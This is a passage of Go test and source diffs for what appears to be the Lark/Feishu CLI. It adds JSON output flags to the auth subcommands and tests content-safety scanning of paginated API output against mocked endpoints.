f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "1"}},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
cmd := NewCmdApi(f, nil)
|
||||
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
data, ok := got["data"].(map[string]interface{})
|
||||
if got["ok"] != true || got["identity"] != "bot" || !ok {
|
||||
t.Fatalf("unexpected envelope: %#v", got)
|
||||
}
|
||||
if _, hasCode := got["code"]; hasCode {
|
||||
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
|
||||
}
|
||||
items, ok := data["items"].([]interface{})
|
||||
if !ok || len(items) != 1 {
|
||||
t.Fatalf("data.items = %#v, want one item", data["items"])
|
||||
}
|
||||
}
|
||||
|
||||
type apiContentSafetyProvider struct {
|
||||
called bool
|
||||
path string
|
||||
data interface{}
|
||||
match string
|
||||
}
|
||||
|
||||
func (p *apiContentSafetyProvider) Name() string { return "api-test" }
|
||||
|
||||
func (p *apiContentSafetyProvider) Scan(_ context.Context, req extcs.ScanRequest) (*extcs.Alert, error) {
|
||||
p.called = true
|
||||
p.path = req.Path
|
||||
p.data = req.Data
|
||||
if p.match != "" {
|
||||
b, _ := json.Marshal(req.Data)
|
||||
if !strings.Contains(string(b), p.match) {
|
||||
return nil, nil
|
||||
}
|
||||
}
|
||||
return &extcs.Alert{Provider: "api-test", MatchedRules: []string{"pagination"}}, nil
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
provider := &apiContentSafetyProvider{}
|
||||
extcs.Register(provider)
|
||||
t.Cleanup(func() { extcs.Register(nil) })
|
||||
|
||||
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "1"}},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
root.AddCommand(NewCmdApi(f, nil))
|
||||
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
|
||||
if err := root.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !provider.called {
|
||||
t.Fatal("expected content safety provider to scan paginated output")
|
||||
}
|
||||
if provider.path != "api" {
|
||||
t.Fatalf("scan path = %q, want api", provider.path)
|
||||
}
|
||||
data, ok := provider.data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("scanned data type = %T, want map", provider.data)
|
||||
}
|
||||
if _, hasCode := data["code"]; hasCode {
|
||||
t.Fatalf("scanned data should be business data only, got %#v", data)
|
||||
}
|
||||
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
alert, ok := got["_content_safety_alert"].(map[string]interface{})
|
||||
if !ok || alert["provider"] != "api-test" {
|
||||
t.Fatalf("missing content safety alert in envelope: %#v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
provider := &apiContentSafetyProvider{}
|
||||
extcs.Register(provider)
|
||||
t.Cleanup(func() { extcs.Register(nil) })
|
||||
|
||||
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "1"}},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
root.AddCommand(NewCmdApi(f, nil))
|
||||
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
|
||||
if err := root.Execute(); err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !provider.called {
|
||||
t.Fatal("expected content safety provider to scan streamed paginated output")
|
||||
}
|
||||
if provider.path != "api" {
|
||||
t.Fatalf("scan path = %q, want api", provider.path)
|
||||
}
|
||||
items, ok := provider.data.([]interface{})
|
||||
if !ok || len(items) != 1 {
|
||||
t.Fatalf("scanned data = %#v, want one streamed item", provider.data)
|
||||
}
|
||||
if !strings.Contains(stderr.String(), "warning: content safety alert from api-test") {
|
||||
t.Fatalf("expected content safety warning on stderr, got: %s", stderr.String())
|
||||
}
|
||||
if !strings.Contains(stdout.String(), `"id":"1"`) {
|
||||
t.Fatalf("expected streamed ndjson output, got: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
provider := &apiContentSafetyProvider{match: "blocked"}
|
||||
extcs.Register(provider)
|
||||
t.Cleanup(func() { extcs.Register(nil) })
|
||||
|
||||
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
|
||||
"has_more": true,
|
||||
"page_token": "next",
|
||||
},
|
||||
},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "blocked-page"}},
|
||||
"has_more": false,
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
root.AddCommand(NewCmdApi(f, nil))
|
||||
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected content safety block error")
|
||||
}
|
||||
var safetyErr *errs.ContentSafetyError
|
||||
if !errors.As(err, &safetyErr) {
|
||||
t.Fatalf("expected ContentSafetyError, got %T: %v", err, err)
|
||||
}
|
||||
if safetyErr.Category != errs.CategoryPolicy || safetyErr.Subtype != errs.SubtypeContentSafety {
|
||||
t.Fatalf("problem = %s/%s, want %s/%s", safetyErr.Category, safetyErr.Subtype, errs.CategoryPolicy, errs.SubtypeContentSafety)
|
||||
}
|
||||
if len(safetyErr.Rules) != 1 || safetyErr.Rules[0] != "pagination" {
|
||||
t.Fatalf("rules = %v, want [pagination]", safetyErr.Rules)
|
||||
}
|
||||
out := stdout.String()
|
||||
if !strings.Contains(out, "safe-page") {
|
||||
t.Fatalf("expected earlier safe page to remain streamed, got: %s", out)
|
||||
}
|
||||
if strings.Contains(out, "blocked-page") {
|
||||
t.Fatalf("blocked page was written before safety block: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func requireProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype, code int) {
|
||||
t.Helper()
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != category || p.Subtype != subtype || p.Code != code {
|
||||
t.Fatalf("problem = %s/%s/%d, want %s/%s/%d", p.Category, p.Subtype, p.Code, category, subtype, code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
|
||||
for _, tt := range []struct {
|
||||
name string
|
||||
|
||||
@@ -91,6 +91,29 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
var gotOpts *CheckOptions
|
||||
cmd := NewCmdAuthCheck(f, func(opts *CheckOptions) error {
|
||||
gotOpts = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"--scope", "calendar:calendar:read", "--json"})
|
||||
err := cmd.Execute()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if gotOpts == nil {
|
||||
t.Fatal("expected opts to be set")
|
||||
}
|
||||
if !gotOpts.JSON {
|
||||
t.Error("expected JSON=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
|
||||
@@ -109,6 +132,27 @@ func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutCmd_AcceptsJSONFlag(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
|
||||
var gotOpts *LogoutOptions
|
||||
cmd := NewCmdAuthLogout(f, func(opts *LogoutOptions) error {
|
||||
gotOpts = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
err := cmd.Execute()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if gotOpts == nil {
|
||||
t.Fatal("expected opts to be set")
|
||||
}
|
||||
if !gotOpts.JSON {
|
||||
t.Error("expected JSON=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthListCmd_FlagParsing(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
|
||||
@@ -126,6 +170,27 @@ func TestAuthListCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
|
||||
var gotOpts *ListOptions
|
||||
cmd := NewCmdAuthList(f, func(opts *ListOptions) error {
|
||||
gotOpts = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
err := cmd.Execute()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if gotOpts == nil {
|
||||
t.Error("expected opts to be set")
|
||||
}
|
||||
if !gotOpts.JSON {
|
||||
t.Error("expected JSON=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthStatusCmd_FlagParsing(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
@@ -145,6 +210,29 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
var gotOpts *StatusOptions
|
||||
cmd := NewCmdAuthStatus(f, func(opts *StatusOptions) error {
|
||||
gotOpts = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
err := cmd.Execute()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if gotOpts == nil {
|
||||
t.Error("expected opts to be set")
|
||||
}
|
||||
if !gotOpts.JSON {
|
||||
t.Error("expected JSON=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
@@ -267,6 +355,32 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
var gotOpts *ScopesOptions
|
||||
cmd := NewCmdAuthScopes(f, func(opts *ScopesOptions) error {
|
||||
gotOpts = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"--format", "pretty", "--json"})
|
||||
err := cmd.Execute()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if gotOpts == nil {
|
||||
t.Fatal("expected opts to be set")
|
||||
}
|
||||
if !gotOpts.JSON {
|
||||
t.Error("expected JSON=true")
|
||||
}
|
||||
if gotOpts.Format != "json" {
|
||||
t.Errorf("expected format json, got %s", gotOpts.Format)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
|
||||
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,
|
||||
|
||||
@@ -19,6 +19,7 @@ import (
|
||||
type CheckOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Scope string
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdAuthCheck creates the auth check subcommand.
|
||||
@@ -37,6 +38,7 @@ func NewCmdAuthCheck(f *cmdutil.Factory, runF func(*CheckOptions) error) *cobra.
|
||||
}
|
||||
|
||||
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to check (space-separated)")
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
cmd.MarkFlagRequired("scope")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
|
||||
|
||||
@@ -33,12 +33,9 @@ func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
|
||||
if got := output.ExitCodeOf(err); got != 1 {
|
||||
t.Errorf("exit code = %d, want 1 (predicate 'missing' signal)", got)
|
||||
}
|
||||
var bare *output.ExitError
|
||||
var bare *output.BareError
|
||||
if !errors.As(err, &bare) {
|
||||
t.Fatalf("expected *output.ExitError (ErrBare), got %T: %v", err, err)
|
||||
}
|
||||
if bare.Detail != nil {
|
||||
t.Errorf("ErrBare must carry no Detail (no envelope), got %+v", bare.Detail)
|
||||
t.Fatalf("expected *output.BareError (ErrBare), got %T: %v", err, err)
|
||||
}
|
||||
|
||||
if stderr.Len() != 0 {
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
@@ -18,6 +19,7 @@ import (
|
||||
// ListOptions holds all inputs for auth list.
|
||||
type ListOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdAuthList creates the auth list subcommand.
|
||||
@@ -34,6 +36,7 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
|
||||
return authListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
|
||||
return cmd
|
||||
@@ -44,12 +47,20 @@ func authListRun(opts *ListOptions) error {
|
||||
|
||||
multi, _ := core.LoadMultiAppConfig()
|
||||
if multi == nil || len(multi.Apps) == 0 {
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
|
||||
"ok": true,
|
||||
"users": []map[string]interface{}{},
|
||||
"reason": "not_configured",
|
||||
})
|
||||
return nil
|
||||
}
|
||||
// auth list is a read-only probe; the "configured but no users"
|
||||
// branch below already returns exit 0 with a stderr hint, so we
|
||||
// keep the same contract here. We still want the hint to be
|
||||
// workspace-aware, so we pull the message+hint out of
|
||||
// NotConfiguredError() instead of hard-coding it.
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if errors.As(core.NotConfiguredError(), &cfgErr) {
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
|
||||
if cfgErr.Hint != "" {
|
||||
@@ -61,6 +72,14 @@ func authListRun(opts *ListOptions) error {
|
||||
|
||||
app := multi.CurrentAppConfig(f.Invocation.Profile)
|
||||
if app == nil || len(app.Users) == 0 {
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
|
||||
"ok": true,
|
||||
"users": []map[string]interface{}{},
|
||||
"reason": "not_logged_in",
|
||||
})
|
||||
return nil
|
||||
}
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, "No logged-in users. Run `lark-cli auth login` to log in.")
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
package auth
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
@@ -34,6 +35,33 @@ func TestAuthListRun_NotConfigured_ReturnsExitZero(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
|
||||
t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]any
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
|
||||
}
|
||||
if payload["ok"] != true {
|
||||
t.Errorf("stdout.ok = %v, want true", payload["ok"])
|
||||
}
|
||||
users, ok := payload["users"].([]any)
|
||||
if !ok || len(users) != 0 {
|
||||
t.Errorf("stdout.users = %v, want empty array", payload["users"])
|
||||
}
|
||||
if payload["reason"] != "not_configured" {
|
||||
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
|
||||
}
|
||||
if stderr.Len() != 0 {
|
||||
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp covers the
|
||||
// reason this hint exists workspace-aware in the first place: an AI agent
|
||||
// in OpenClaw / Hermes that probes auth list before binding gets routed to
|
||||
@@ -57,3 +85,48 @@ func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T)
|
||||
t.Errorf("agent hint must not mention config init: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthListRun_JSONMode_NoLoggedInUsers_WritesStdoutOnly(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
writeLogoutConfig(t, nil)
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
|
||||
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]any
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
|
||||
}
|
||||
if payload["ok"] != true {
|
||||
t.Errorf("stdout.ok = %v, want true", payload["ok"])
|
||||
}
|
||||
users, ok := payload["users"].([]any)
|
||||
if !ok || len(users) != 0 {
|
||||
t.Errorf("stdout.users = %v, want empty array", payload["users"])
|
||||
}
|
||||
if payload["reason"] != "not_logged_in" {
|
||||
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
|
||||
}
|
||||
if stderr.Len() != 0 {
|
||||
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthListRun_DefaultMode_NoLoggedInUsers_KeepsTextOutput(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
writeLogoutConfig(t, nil)
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authListRun(&ListOptions{Factory: f}); err != nil {
|
||||
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
|
||||
}
|
||||
|
||||
if stdout.Len() != 0 {
|
||||
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
|
||||
}
|
||||
if !strings.Contains(stderr.String(), "No logged-in users") {
|
||||
t.Errorf("stderr = %q, want no-users hint", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -296,10 +296,11 @@ func authLoginRun(opts *LoginOptions) error {
|
||||
}
|
||||
|
||||
// Step 2: Show user code and verification URL.
|
||||
// Both branches surface AgentTimeoutHint, but on different channels:
|
||||
// JSON mode embeds it as a structured field (so an agent that captures
|
||||
// stdout into a JSON parser sees it without stream-mixing surprises),
|
||||
// text mode prints to stderr (alongside the URL prompt).
|
||||
// JSON mode embeds AgentTimeoutHint as a structured field so agents that
|
||||
// capture stdout into a JSON parser see it without stream-mixing surprises.
|
||||
// Text mode prints the hint to stderr only when running under a non-TTY
|
||||
// (i.e. piped / agent harness), since humans reading a terminal don't need
|
||||
// the agent-oriented instructions.
|
||||
if opts.JSON {
|
||||
data := map[string]interface{}{
|
||||
"event": "device_authorization",
|
||||
@@ -317,7 +318,9 @@ func authLoginRun(opts *LoginOptions) error {
|
||||
} else {
|
||||
fmt.Fprintf(f.IOStreams.ErrOut, msg.OpenURL)
|
||||
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", authResp.VerificationUriComplete)
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
|
||||
if f.IOStreams != nil && !f.IOStreams.IsTerminal {
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
|
||||
}
|
||||
}
|
||||
|
||||
// Step 3: Poll for token
|
||||
@@ -404,10 +407,11 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
|
||||
fmt.Fprintf(f.IOStreams.ErrOut, "[lark-cli] [WARN] auth login: failed to remove cached requested scopes: %v\n", err)
|
||||
}
|
||||
}
|
||||
// Skip the stderr hint in JSON mode — the --no-wait call that issued the
|
||||
// device_code already returned the hint as a JSON field, and writing
|
||||
// text to stderr would pollute consumers that combine streams via 2>&1.
|
||||
if !opts.JSON {
|
||||
// Skip the stderr hint in JSON mode (the --no-wait call that issued
|
||||
// the device_code already surfaced it as a JSON field), and also skip it
|
||||
// when running on an interactive terminal — the agent-oriented
|
||||
// instructions only matter for piped / harness environments.
|
||||
if !opts.JSON && f.IOStreams != nil && !f.IOStreams.IsTerminal {
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
|
||||
}
|
||||
log(msg.WaitingAuth)
|
||||
|
||||
@@ -92,16 +92,11 @@ func buildDomainMeta(name, lang string) domainMeta {
|
||||
Description: desc,
|
||||
}
|
||||
}
|
||||
// Fallback: read from from_meta spec (legacy)
|
||||
meta := registry.LoadFromMeta(name)
|
||||
// Fallback: read from the typed service spec (legacy)
|
||||
dm := domainMeta{Name: name}
|
||||
if meta != nil {
|
||||
if t, ok := meta["title"].(string); ok {
|
||||
dm.Title = t
|
||||
}
|
||||
if d, ok := meta["description"].(string); ok {
|
||||
dm.Description = d
|
||||
}
|
||||
if svc, ok := registry.ServiceTyped(name); ok {
|
||||
dm.Title = svc.Title
|
||||
dm.Description = svc.Description
|
||||
}
|
||||
return dm
|
||||
}
|
||||
|
||||
@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
|
||||
// (not backed by from_meta service specs). Descriptions are now centralized in
|
||||
// service_descriptions.json.
|
||||
func getShortcutOnlyDomainNames() []string {
|
||||
return []string{"base", "contact", "docs", "markdown", "apps"}
|
||||
return []string{"base", "contact", "docs", "markdown", "apps", "note"}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -214,6 +215,12 @@ func TestGetShortcutOnlyDomainNames_HaveDescriptions(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetShortcutOnlyDomainNames_IncludesNote(t *testing.T) {
|
||||
if !slices.Contains(getShortcutOnlyDomainNames(), "note") {
|
||||
t.Fatal("shortcut-only domains must include note so auth login can select vc:note:read")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectScopesForDomains(t *testing.T) {
|
||||
projects := registry.ListFromMetaProjects()
|
||||
if len(projects) == 0 {
|
||||
@@ -871,7 +878,7 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
|
||||
// contract that when --json is set and pollDeviceToken returns OK=false,
|
||||
// stdout carries the structured authorization_failed event and stderr is
|
||||
// NOT polluted with a typed envelope. The returned error is a bare
|
||||
// ExitError with ExitAuth so the dispatcher only propagates the exit code
|
||||
// BareError with ExitAuth so the dispatcher only propagates the exit code
|
||||
// without emitting a second envelope on top of the JSON event.
|
||||
func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
@@ -938,16 +945,13 @@ func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
|
||||
t.Errorf("stderr should not contain JSON envelope fields, got: %s", stderrStr)
|
||||
}
|
||||
|
||||
// Returned error must be the bare *output.ExitError signal (no envelope).
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
|
||||
// Returned error must be the bare *output.BareError signal (no envelope).
|
||||
var bareErr *output.BareError
|
||||
if !errors.As(err, &bareErr) {
|
||||
t.Fatalf("expected *output.BareError, got %T: %v", err, err)
|
||||
}
|
||||
if exitErr.Code != output.ExitAuth {
|
||||
t.Fatalf("ExitError.Code = %d, want %d", exitErr.Code, output.ExitAuth)
|
||||
}
|
||||
if exitErr.Detail != nil {
|
||||
t.Errorf("ExitError.Detail should be nil for bare signal, got: %+v", exitErr.Detail)
|
||||
if bareErr.Code != output.ExitAuth {
|
||||
t.Fatalf("BareError.Code = %d, want %d", bareErr.Code, output.ExitAuth)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -18,6 +18,7 @@ import (
|
||||
// LogoutOptions holds all inputs for auth logout.
|
||||
type LogoutOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdAuthLogout creates the auth logout subcommand.
|
||||
@@ -34,6 +35,7 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
|
||||
return authLogoutRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
cmdutil.SetRisk(cmd, "write")
|
||||
|
||||
return cmd
|
||||
@@ -44,25 +46,65 @@ func authLogoutRun(opts *LogoutOptions) error {
|
||||
|
||||
multi, _ := core.LoadMultiAppConfig()
|
||||
if multi == nil || len(multi.Apps) == 0 {
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
|
||||
"ok": true,
|
||||
"loggedOut": false,
|
||||
"reason": "not_configured",
|
||||
})
|
||||
return nil
|
||||
}
|
||||
